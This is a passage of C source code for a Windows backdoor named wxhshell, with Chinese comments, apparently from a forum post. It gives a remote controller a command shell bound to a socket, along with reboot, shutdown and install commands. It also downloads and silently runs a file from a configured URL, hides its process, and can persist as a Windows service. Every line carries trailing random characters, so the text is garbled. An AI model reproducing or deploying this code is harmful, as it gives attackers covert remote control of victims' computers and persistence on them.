  if(DownloadFile(cmd,wsh)) 7#9'2dI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "26B4*  
  else '^ e/F)0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sL7`=a.&T  
  } o;VkoYV  
  else { v!#`W  
B!r48<p  
    switch(cmd[0]) { pl#o!j(i  
  ^wO_b'@v  
  // 帮助 UJz4>JF  
  case '?': { 1&% d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y!a+#N!  
    break; a0?iR5\  
  } t$y&=v  
  // 安装 q3x;_y^  
  case 'i': { lNaez3  
    if(Install()) Ie2w0Cs28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .hQ3A"  
    else =tf@4_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [)H,zpl  
    break; Vgqvvq<S  
    } [^U;  
  // 卸载 xV,4U/ T  
  case 'r': { c#n4zdQd]5  
    if(Uninstall()) /+4^.Q*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FU5LY XCs  
    else Z9"{f)T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2R`q*a+  
    break; 8)W?la8'p  
    } ^/%o%J&Hz  
  // 显示 wxhshell 所在路径 17 i<4f#  
  case 'p': { z<o E!1St  
    char svExeFile[MAX_PATH]; t*Vao  
    strcpy(svExeFile,"\n\r"); {(M&-~Yh  
      strcat(svExeFile,ExeFile); Lz9$,Y[  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Q_)>|R2  
    break; Pe$^Mo.q  
    } L,L ~ .E  
  // 重启 r;cI}'  
  case 'b': { m6_~`)R8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #}/cM2m  
    if(Boot(REBOOT)) *h*j%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C,|nmlDN  
    else { yhSk"e'G  
    closesocket(wsh); -[zdX}x.:  
    ExitThread(0); _OJ0 < {E  
    } '<?v:pb9  
    break; ]^*_F  
    } QH7V_#6bKP  
  // 关机 bl" (<TM  
  case 'd': { 9<t9a f\.>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J|gdO+  
    if(Boot(SHUTDOWN)) Ei{(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lruF96C/Y  
    else { VQy 9Y  
    closesocket(wsh); M.xhVgFf)  
    ExitThread(0); |&elZ}8  
    } ]k'#g Z$  
    break; )g9)IF  
    } zj~nnfoys  
  // 获取shell 1P[I}GW#  
  case 's': { .N5h V3  
    CmdShell(wsh); n0+g]|a AF  
    closesocket(wsh); g[#k.CuP  
    ExitThread(0); 'DCKD4@C/  
    break; }b_R5U$@@  
  } lfxuc7Rdla  
  // 退出 Bmx(qE  
  case 'x': { <=;H[} e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,] ~u:Y}  
    CloseIt(wsh); bGZ hUEq  
    break; C1X}3bB  
    } 4 ss&'h  
  // 离开 &Pu+(~'Q  
  case 'q': { 8%;}LK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b4Ricm  
    closesocket(wsh); z>cIiprX  
    WSACleanup(); F^.om2V|9  
    exit(1); ki;!WhF~  
    break; B;xZ% M]  
        } wXr>p)mP  
  } aL8p"iSG9  
  } zyaW3th  
bK ?1MiXb  
  // 提示信息 Y brx%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :dc"b?Ch  
} GXT]K>LA  
  } |. J,8~x  
E|HSwTHe  
  return; BCBEX&0hk{  
} X|X4L(i  
+dqk 6RE  
// shell模块句柄 p//T7r s  
int CmdShell(SOCKET sock) a$C2}  
{ Ho|o,XvLv  
STARTUPINFO si; N7e`6d!  
ZeroMemory(&si,sizeof(si)); <\ y!3;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k0H?9Z4k5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 44\!PYf7  
PROCESS_INFORMATION ProcessInfo; 6N9 c<JC  
char cmdline[]="cmd"; b->eg 8|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1pd 9s8CA  
  return 0; lemVP'cn  
} p Tcbq  
*-?Wcz  
// 自身启动模式 EfFz7j&X  
int StartFromService(void) Yuwc$Qp)  
{ 7#~4{rjg  
typedef struct j(0Ilx|7v  
{ cwk+#ur  
  DWORD ExitStatus; )D:9R)m  
  DWORD PebBaseAddress; YSqv86  
  DWORD AffinityMask; *,"jF!C&[  
  DWORD BasePriority; By2s']bw  
  ULONG UniqueProcessId; 7sXy`+TZ->  
  ULONG InheritedFromUniqueProcessId; i~9?:plS  
}   PROCESS_BASIC_INFORMATION; }P#Vsqe V  
J4YT)-  
PROCNTQSIP NtQueryInformationProcess; SXQ@;= ]xV  
"Owct(9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r)gCTV(kb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hdo&\Q2D8  
uc'p]WhQ  
  HANDLE             hProcess; Z+NF(d  
  PROCESS_BASIC_INFORMATION pbi; Rb)|66&3&  
2$M,*Dnr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g.9L)L  
  if(NULL == hInst ) return 0; DH:J  
Iha[G u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); },rav]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e,EK,,iY5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ERF,tLa!  
#S%4?   
  if (!NtQueryInformationProcess) return 0; X` ATH^S  
uaiz*Im  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <x0)7xX  
  if(!hProcess) return 0; Ski G2n]  
0|ZVA+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {{32jU7<  
uM<|@`&b  
  CloseHandle(hProcess); O#vn)+Y,*  
3S5^ `Ag#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZI,j?i6\  
if(hProcess==NULL) return 0; y`4{!CEyLW  
;>DHD*3X  
HMODULE hMod;  }<=3W5+  
char procName[255]; W]_g4,T>  
unsigned long cbNeeded; [q1Unm  
D z@1rc<B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0E-pA3M6  
<|a=hHPi:  
  CloseHandle(hProcess); \^9pW 2v  
EJ`Q8uz  
if(strstr(procName,"services")) return 1; // 以服务启动 w#&z]O9r  
COSTV>s;  
  return 0; // 注册表启动 FY8!g'.Oe  
} Y.>kO  
dByjcTPA  
// 主模块 \QGa 4_#  
int StartWxhshell(LPSTR lpCmdLine) wFvT0  
{ Cc!J1)  
  SOCKET wsl; }S */b1  
BOOL val=TRUE; ZZ("-#?  
  int port=0; &iNS?1a%f=  
  struct sockaddr_in door; gXt O*Rfqk  
h$pk<<  
  if(wscfg.ws_autoins) Install(); ys%zlbj[  
!4t`Hv?'  
port=atoi(lpCmdLine); vG~+r<:  
!{(ls<  
if(port<=0) port=wscfg.ws_port; ^LVk5l)\>g  
Umz05*  
  WSADATA data; y@3Q;~l,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ePEe?o4;  
:m K xa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Me,<\rQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3rNc1\a;  
  door.sin_family = AF_INET; T`\]!>eb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L+.H z&*@  
  door.sin_port = htons(port); M\9F:.t=  
cvfUyp;P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IE;\7 r+h  
closesocket(wsl); Qs l80~n_7  
return 1; |n`PESf_  
} 8}BS2C%P  
2bLI%gg3  
  if(listen(wsl,2) == INVALID_SOCKET) { r+S;B[Vd  
closesocket(wsl); > aG=T{  
return 1; WL U}  
} PO o%^'(  
  Wxhshell(wsl); r P'AJDuq  
  WSACleanup(); O9^T3~x[V  
"Zcu[2,  
return 0; 1`JB)9P  
u1^\MVO8  
} ]JdJe6`Mc  
'Jydu   
// 以NT服务方式启动 zTY;8r+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mj2Pk,,SA  
{ Nqc p1J"  
DWORD   status = 0; z)}!e,7  
  DWORD   specificError = 0xfffffff; % 5z gd>  
g1{/ 5{XI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?#BV+#(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \|%E%Yc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OCNPi4  
  serviceStatus.dwWin32ExitCode     = 0; BvK QlT  
  serviceStatus.dwServiceSpecificExitCode = 0; *5D3vB*S  
  serviceStatus.dwCheckPoint       = 0; xE1'&!4O  
  serviceStatus.dwWaitHint       = 0; ZzcPiTSO  
V_"f|[1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !D:Jbt@R<n  
  if (hServiceStatusHandle==0) return; S!h Xf|*0[  
,Dp0fauJ  
status = GetLastError(); !9]d |8!  
  if (status!=NO_ERROR) ,lm=M 5b  
{ g^l RG3a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ur!~<4GO  
    serviceStatus.dwCheckPoint       = 0; eT[&L @l]b  
    serviceStatus.dwWaitHint       = 0; %>zjGF<  
    serviceStatus.dwWin32ExitCode     = status; ('hT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6kR\xP]Kr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z%sy$^v@vD  
    return; I[D8""U  
  } M0w/wt|  
{C")#m-0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r N5tI.iC  
  serviceStatus.dwCheckPoint       = 0; q3h'l,  
  serviceStatus.dwWaitHint       = 0; 4 1t)(+r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U>F{?PReA?  
} cyQBqG  
=a$Oecg?  
// 处理NT服务事件,比如:启动、停止 }x:f%Z5h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gXy -Mpzp  
{ a]B[`^`z  
switch(fdwControl) {( tHk_q  
{ Ri)uq\E/#  
case SERVICE_CONTROL_STOP: 9Ah[rK*}  
  serviceStatus.dwWin32ExitCode = 0; 8-M e.2K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jfp z`zE  
  serviceStatus.dwCheckPoint   = 0; qP1FJ89H  
  serviceStatus.dwWaitHint     = 0; Vn|1v4U!  
  { ~h)&&' a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vrkf(E3_V  
  } , ZFE(  
  return; (= ;N{u  
case SERVICE_CONTROL_PAUSE: R_N:#K.M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y; ) .+si  
  break; }6]0hWsN[  
case SERVICE_CONTROL_CONTINUE: 73F5d/n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y)|N"f;  
  break; p&Ed\aQ%z;  
case SERVICE_CONTROL_INTERROGATE: _O]xey^r  
  break; :50b8  
}; }dYBces  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+Rv{%  
} L{&U V0q!  
1^G{tlA-  
// 标准应用程序主函数 ,[!LCXp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DjLL|jF  
{ u2iXJmM*  
)rtomp:X  
// 获取操作系统版本 o:p *_>&  
OsIsNt=GetOsVer(); 1G^#q,%X_v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GJA`l8`SQ  
cg{AMeW  
  // 从命令行安装 Log|%P\  
  if(strpbrk(lpCmdLine,"iI")) Install(); w_wslN,)  
iG<Som  
  // 下载执行文件 l"+J c1\X  
if(wscfg.ws_downexe) { SA"8!soY3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *d*,Hqn  
  WinExec(wscfg.ws_filenam,SW_HIDE); hdma=KqZ(  
} <q2?S  
(k?7:h  
if(!OsIsNt) { #& ?g %'  
// 如果时win9x,隐藏进程并且设置为注册表启动 h2Bz F  
HideProc(); =O$M_1lp  
StartWxhshell(lpCmdLine); kG0Yh2;#  
} c&nh>oN  
else p&b5% 4P  
  if(StartFromService()) PnYBy| yl  
  // 以服务方式启动 H17-/|-;0!  
  StartServiceCtrlDispatcher(DispatchTable); .qv'6G  
else +&=?BC}L9^  
  // 普通方式启动 m#7*:i&@Y  
  StartWxhshell(lpCmdLine); }6u2*(TmD  
8|^CK|m6*  
return 0; (eWPis[  
}
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只看该作者 1 发表于: 2006-10-10
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